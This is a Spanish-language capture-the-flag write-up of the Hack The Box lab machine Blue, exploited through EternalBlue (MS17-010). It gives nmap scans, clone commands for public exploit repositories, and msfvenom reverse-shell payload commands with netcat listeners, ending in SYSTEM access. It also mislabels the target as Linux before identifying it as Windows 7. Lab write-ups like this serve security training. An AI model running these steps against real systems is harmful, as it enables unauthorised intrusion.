Blue
En este post, abordaremos la resolución de la máquina Blue de la plataforma Hack The Box. Esta máquina exhibe una vulnerabilidad ampliamente reconocida, la cual exploraremos explotando de tres formas distintas manualmente. La vulnerabilidad a la que me refiero es comúnmente conocida como EternalBlue, identificada con el CVE-2017-0144.
Reconocimiento
Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Reconocimento usando el comando ping
Podemos observar, que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live).
Enumeración
Descubrimiento de puertos abiertos
Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
1
nmap -sS -p- --open --min-rate 5000 10.10.10.40 -oG scanPorts -vvv
Descubrimiento de puertos abiertos
ver la Cheatsheet para más detalle sobre los parámetros utilizados.
Enumeración de versión y servicio
Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.
1
nmap -sCV -p135,139,445,49152,49153,49154,49155,49156,49157 10.10.10.40 -oN targeted -vvv
Descubrimiento de versión y servicio con nmap
ver la Cheatsheet para más detalle sobre los parámetros utilizados.
Como evidenciamos en el escaneo, nos encontramos frente a una máquina Windows 7 de 64 bits que expone el puerto 445 (SMB). Realizando una búsqueda rápida en Google, confirmamos que esta versión específica está incluida entre las versiones afectadas por la vulnerabilidad conocida como EternalBlue
.
Explotación - Forma 1
Para llevar a cabo la explotación de esta vulnerabilidad, estaremos usando en primera instancia el exploit AutoBlue-MS17-010.
Primero, debemos descargar el repositorio.
1
git clone --recursive https://github.com/3ndG4me/AutoBlue-MS17-010.git
Luego, tenemos que preparar nuestro shellcode. Para lo cual, debemos ejecutar el script shell_prep.sh
.
A continuación, debemos establecer un listener utilizando netcat nc
.
Establecemos un listener con netcat
Por ultimo, ejecutamos el exploit.
De esta forma, ganamos acceso a la máquina víctima como el usuario NT AUTHORITY\SYSTEM
.
Explotación - Forma 2
Para realizar esta explotación, utilizaremos un exploit disponible en Exploit-DB
.
Antes de llevar a cabo la ejecución, debemos realizar algunas modificaciones en el script.
En primer lugar, tendremos que asignar a la variable USERNAME
el valor de guest
.
Asignamos a la variable USERNAME el valor de guest
Posteriormente, es necesario especificar la ubicación de nuestro payload y asegurarnos de que se ejecute automáticamente una vez que se cargue en la máquina víctima.
Después, procedemos a generar nuestro payload utilizando la herramienta msfvenom
.
1
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.29 LPORT=5555 -f exe > eternal-blue.exe
Creación del payload usando msfvenom
Establecemos un listener con netcat.
1
rlwrap nc -lnvp 5555
Ejecutamos el exploit
Establecemos un listener con netcat
Y ganamos acceso al sistema.
Explotación - Forma 3
Por ultimo, para nuestra forma de explotación número 3 utilizaremos el siguiente repositorio: https://github.com/helviojunior/MS17-010
Primero, procedemos a descargar el repositorio.
1
git clone --recursive https://github.com/helviojunior/MS17-010.git
Luego, al igual que el exploit anterior, debemos generar nuestro payload. Para lo cual, utilizaremos nuevamente msfvenom
.
1
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.29 LPORT=6666 -f exe > evil-shell.exe
Creación del payload usando msfvenom
Por otra parte, debemos asignar a la variable USERNAME
el valor de guest
.
Asignamos a la variable USERNAME el valor de guest
Establecemos un listener con netcat.
1
rlwrap nc -lnvp 6666
Ejecutamos el exploit
Establecemos un listener con netcat
Y de esta forma, volvemos a ganar acceso al sistema.
Por ultimo, para completar la máquina solo resta leer los flags de user.txt
y root.txt
.
Con esto, concluimos la resolución de la máquina Blue.
Confío en que los conceptos hayan quedado claros. Si aún persisten dudas después de llegar a este punto, te sugiero considerar la posibilidad de revisitar la máquina para reforzar tu comprensión.
Gracias por tu lectura!
Happy Hacking!